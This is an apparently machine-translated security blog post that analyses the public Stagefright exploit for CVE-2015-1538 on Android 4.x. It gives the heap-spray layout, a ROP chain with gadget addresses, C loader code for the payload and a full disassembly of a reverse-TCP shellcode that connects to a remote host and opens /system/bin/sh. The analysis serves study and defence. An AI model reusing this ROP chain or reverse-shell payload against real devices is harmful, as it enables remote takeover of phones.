Ali Mobile Security · 2015/12/01 10:41

Author:[email protected]

0 x00 sequence


In July 2015, Zimperium, an Israeli mobile information security company, discovered multiple integer overflows and underflows in the Android Stagefright framework, and vulnerabilities such as incorrect integer overflow checking, which can lead to arbitrary code execution. An attacker triggers the vulnerability by sending an MMS or WEB page that contains a customized media file. Since Stagefright is not only used for playing media files, it can also automatically generate thumbnails, or extract metadata such as length, height, width, frame rate, channel, and other similar information from video or audio files. So users who receive malicious MMS can trigger the vulnerability simply by looking at the thumbnail image.

The Stagefright media playback engine library was introduced in Android 2.2, and this vulnerability exists in all versions up to 5.1. Applications using the Stagefright library, running with Media permissions, successfully exploit a vulnerability that allows an attacker to view the corresponding file in the context of the Media library, but gain full control of the device through a permission promotion attack. The CVE ID corresponding to the Stagefright vulnerability is as follows:

CVE-2015-1538
CVE-2015-1539
CVE-2015-3824
CVE-2015-3826
CVE-2015-3827
CVE-2015-3828
CVE-2015-3829
Copy the code

Zimperium researcher Joshua Drake explained and demonstrated the vulnerability at the BlackHat conference in August. One of the vulnerabilities was published on the official blog (blog.zimperium.com) in September: the exploit code for CVE-2015-1538 [1].

Although the utilization of CVE-2015-1538 is implemented on Android 4.0.x, compared with the higher version of Android, much less mitigation technology requires bypass, However, some techniques such as heap spraying of media files, pivot stack and reverse connection shell used in the exploit can be used for reference in the future, so it is also recorded as a note.

0x01 Shellcode Code analysis


1.1 ROP

By analyzing the Exploit[2], it can be seen that the Exploit uses “TX3G” tag to perform memory heap injection (2M) to execute shellcode. The structure of a single spray buffer is as follows:

Offset value
0x0 sp_addr + 16{}
0x4 sp_addr + 8
0x8 1
0xC 0xcodedbad
0x10 sp_addr + 24
0x14 16
0x18 sp_addr + 32
0x1C 0xf00dbabe
0x20 0xcode0000 + 0x0
0x24 0xcode0000 + 0x4
0x28 0xcode0000 + 0x8
0x2C new_pc{}
0x30 0xf0f00000+x1
0x4C, ROP+0x0 sp_addr + 0x40
ROP+0x4 0xb0002a98{}
ROP+0x8 0xb00038b2 + 1{}
ROP+0xC sp_addr & 0xFFFFF000
ROP+0x10 0x1000
ROP+0x14 7
ROP+0x18 0xd000d003
ROP+0x1C 0xd000d004
ROP+0x20 0xb001144{}
ROP+0x24 sp_addr + 0x80
ROP+0x28 0xf0f00000 + x1
… …
ROP+0x4C payload/shell_reverse_tcp
0x1000 0xf0f00000 + xn

Look from exploits, mediaserver crash when the code to the android: : RefBase: : decStrong (android: : RefBase * __hidden this, const void *), assembly code is as follows:

.text:0000EE34 70 B5         PUSH  {R4-R6,LR}
.text:0000EE36 05 46         MOV   R5, R0
.text:0000EE38 44 68         LDR   R4, [R0,#4]
.text:0000EE3A 0E 46         MOV   R6, R1
.text:0000EE3C 20 46         MOV   R0, R4
.text:0000EE3E FD F7 54 EB   BLX   android_atomic_dec
.text:0000EE42 01 28         CMP   R0, #1
.text:0000EE44 0B D1         BNE   loc_EE5E
.text:0000EE46 A0 68         LDR   R0, [R4,#8]
.text:0000EE48 01 68         LDR   R1, [R0]
.text:0000EE4A CA 68         LDR   R2, [R1,#0xC]
.text:0000EE4C 31 46         MOV   R1, R6
.text:0000EE4E 90 47         BLX   R2
Copy the code

The execution flow according to this code is as follows:

R0 = spray_address = sa

LDR             R4, [R0,#4]
Copy the code

After the command is executed, r4 = [sa+4] = sa+8

.text:0000EE46  LDR             R0, [R4,#8]
Copy the code

After the command is executed,r0 =[R4 +8]=[sa+8+8]=[sa+0x10]=sa+24=sa+0x18

.text:0000EE48LDR     R1, [R0]
Copy the code

After the command is executed, R1 =[R0 +0]=[sa+0x18]= SZ +32=sa+0x20

.text:0000EE4A  LDR             R2, [R1,#0xC]
Copy the code

After the command is executed, R2 =[R1 +0xC]=[sa+0x20+0xC]=[sa+0x2C]= new_PC. Execute BLX R2 to jump to new_PC.

2) new_pc

The default new_PC definition in exploit is 0xB0002850 (__dl_restore_core_regs), which is in libc.so. Look at the restore_core_regs function in Libc.so for Android 4.1.2:

.text:00010BA8 EXPORT restore_core_regs .text:00010BA8 ADD R1, R0, #0x34 ; Alternative name is '__restore_core_regs' .text:00010BAC LDMIA R1, {R3-R5} .text:00010BB0 STMFD SP! , {R3-R5} .text:00010BB4 LDMIA R0, {R0-R11} .text:00010BB8 LDMFD SP, {SP-PC}Copy the code

This code is mainly for pivot stack:

ADD             R1, R0, #0x34
Copy the code

R0 = SA +0x18, R1 = SA +0x18+0x34= SA +0x4C

.text:00010BAC      LDMIA           R1, {R3-R5}
Copy the code

Write the contents that R1 points to address SA +0x4C to R3, R4, and R5, that is, R3 = SA +0x40=ROP+0x0, R4 = 0xB0002A98, and R5 = 0xB00038B2 +1

.text:00010BB0 STMFD SP! , {R3-R5}Copy the code

I’m going to push R3, R4, and R5.

.text:00010BB8      LDMFD           SP, {SP-PC}
Copy the code

Out stack operation; Sp =ROP+0xC; Lr = 0 xb0002a98; pc=0xb00038b2+1

3) Run the PC

In this case, PC is 0xB00038B2 +1, and the instruction pointing to the base is:

pop {r0, r1, r2, r3, r4, pc}
Copy the code

Eject the stack pointed to by SP and store it in r0-R4 and PC registers. After this instruction is executed, r0= SP_ADDR & 0xFFFFF000, R1 =0x1000, R2 =7, PC = 0xB001144.

This directive can be found in libstagefright. So. Under 4.1.2: Thumb, libstagefright. So + 0x0009086C.

4) Run the PC again

At this point, PC is 0xb001144, which is the address of mProtect function, located in libc.so, the code is as follows:

.text:0000CACC EXPORT mprotect .text:0000CACC STMFD SP! , {R4,R7} .text:0000CAD0 MOV R7, #0x7D .text:0000CAD4 SVC 0 ; Superuser call.text:0000CAD8 LDMFD SP! , {R4,R7} .text:0000CADC MOVS R0, R0 .text:0000CAE0 BXPL LR .text:0000CAE4 B sub_39D44Copy the code

Change the sp_ADDR address, memory of length 0x1000, to executable permission.

.text:0000CAE0                 BXPL            LR
Copy the code

If the execution succeeds, LR, 0xB0002a98, is called.

5) Execute LR

At this point, LR is 0xB0002A98, which points to the following instruction:

pop {pc}
Copy the code

Sp =ROP+0x24, PC =sa+0x80, that is, shell_reverse_TCP code address.

This directive can be found in libstagefright. So. As under 4.1.2: Thumb, libstagefright. So + 0x0005ad14.

1.2 shell_reverse_tcp

Shell_reverse_tcp is a payload that is reversely connected to the target IP address :port. This code is modified from Metasploit’s shell_reverse_TCP [3]. In order to understand the function of this code, we write a loader to load this code, and then disassemble it for analysis, as follows:

Unsignedchar payload[] = "\x02\x70\xa0\xe3"... "65\x6d\x2f\x62\x69\x6e\x3a\x2f\x73\x79\x73\x74\x65\x6d\x2f\x78\x62\x69\x6e\x00"; int loader() { printf("hello payload: 0x%x\n", payload); asm__volatile__ ( "ldr r0, =payload \t\n" "blx r0 \t\n"); return0; } int main(intargc, char* constargv[]) { loader(); return0; }Copy the code

The data in the payload[] array of the exploit is extracted from shell_reverse_TCP. This loading method works on Android 4.1.x, and older Versions of Android have added security mitigation technology that will report errors without affecting the analysis code. Loading the compiler with IDA Pro, you can see the disassembly code for shell_reverse_TCP:

.data:00002000 02 70 A0 E3 MOV R7, #2 .data:00002004 00 0000 EF SVC 0 ; __fork .data:00002008 00 00 50 E3 CMP R0, #0 .data:0000200C 02 00 00 0A BEQ loc_201C .data:00002010 00 00 A0 E3 MOV R0, #0 .data:00002014 01 70 A0 E3 MOV R7, #1 .data:00002018 00 0000 EF SVC 0 ; _exit_thread .data:0000201Cloc_201C ; CODE XREF: .data:0000200Cj .data:0000201C 42 70 A0 E3 MOV R7, #0x42 .data:00002020 00 0000 EF SVC 0 ; setsid .data:00002024 02 00 A0 E3 MOV R0, #2 .data:00002028 01 10 A0 E3 MOV R1, #1 .data:0000202C 05 20 81 E2 ADD R2, R1, #5 .data:00002030 8C 70 A0 E3 8D 70 87 E2 MOV R7, #0x119 .data:00002038 00 0000 EF SVC 0 ; socket .data:0000203C 00 60 A0 E1 MOV R6, R0 .data:00002040 6C 10 8F E2 ADR R1, loc_20B4 ; structsockaddr_in .data:00002044 10 20 A0 E3 MOV R2, #0x10 .data:00002048 8D 70 A0 E3 8E 70 87 E2 MOV R7, #0x11B .data:00002050 00 0000 EF SVC 0 ; connect .data:00002054 06 00 A0 E1 MOV R0, R6 .data:00002058 00 10 A0 E3 MOV R1, #0 .data:0000205C 3F 70 A0 E3 MOV R7, #0x3F .data:00002060 00 0000 EF SVC 0 ; dup2 .data:00002064 06 00 A0 E1 MOV R0, R6 .data:00002068 01 10 A0 E3 MOV R1, #1 .data:0000206C 3F 70 A0 E3 MOV R7, #0x3F .data:00002070 00 0000 EF SVC 0 ; dup2 .data:00002074 06 00 A0 E1 MOV R0, R6 .data:00002078 02 10 A0 E3 MOV R1, #2 .data:0000207C 3F 70 A0 E3 MOV R7, #0x3F .data:00002080 00 0000 EF SVC 0 ; dup2 .data:00002084 30 00 8F E2 ADR R0, aSystemBinSh ; "/system/bin/sh" .data:00002088 04 40 24 E0 EOR R4, R4, R4 .data:0000208C 10 00 2D E9 STMFD SP! , {R4} .data:00002090 38 30 8F E2 ADR R3, aPathSbinVendor ; "PATH=/sbin:/vendor/bin:/system/sbin:/sy"... .data:00002094 08 00 2D E9 STMFD SP! , {R3} .data:00002098 0D 20 A0 E1 MOV R2, SP .data:0000209C 10 00 2D E9 STMFD SP! , {R4} .data:000020A0 24 40 8F E2 ADR R4, aSh ; "sh" .data:000020A4 10 00 2D E9 STMFD SP! , {R4} .data:000020A8 0D 10 A0 E1 MOV R1, SP .data:000020AC 0B 70 A0 E3 MOV R7, #0xB .data:000020B0 00 0000 EF SVC 0 ; execve .data:000020B4 loc_20B4 ; DATA XREF: .data:00002040o .data:000020B4 02 00 30 39 ; structsockaddr_in: <family+port+host>, port: 0x3039(12345) .data:000020B8xx xxxxxx; ip address .data:000020BC 2F 73 79 73 74 65 6D 2F+aSystemBinSh DCB "/system/bin/sh",0 ; DATA XREF: .data:00002084o .data:000020BC 62 69 6E 2F 73 68 00 ; .data:loc_20B4o .data:000020CB 00 DCB 0 .data:000020CC 73 68 00 aSh DCB "sh",0 ; DATA XREF: .data:000020A0o .data:000020CF 00 DCB 0 .data:000020D0 50 41 54 48 3D 2F 73 62+aPathSbinVendor DCB "PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin",0 .data:000020D0 69 6E 3A 2F 76 65 6E 64+ ; DATA XREF: .data:00002090o .data:0000210D 00 DCB 0Copy the code

Payload Uses the SVC command to call the Linux function payload. The payload connects to a specific port on a remote server through TCP.

r = fork(); if r<>0 exit_thread(); setsid(); S = socket (2,1,6); connect(s, socaddr, 0x10); dup2(s,0);[email protected]
dup2(s,1);[email protected]
dup2(s,2);[email protected]
execve("/system/bin/sh", "sh", "PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin");
Copy the code

The payload is stored in the. Data section and its attribute is Read. You need to add the Execute attribute for the section to run the loader successfully. Here we use the ELFTemplate of 010 Editor to add the Execute property to the. Data section:

Then push it to the device to run successfully:

0 x02 reference


  1. Blog.zimperium.com/the-latest-…
  2. Github.com/jduck/cve-2…
  3. Github.com/rapid7/meta…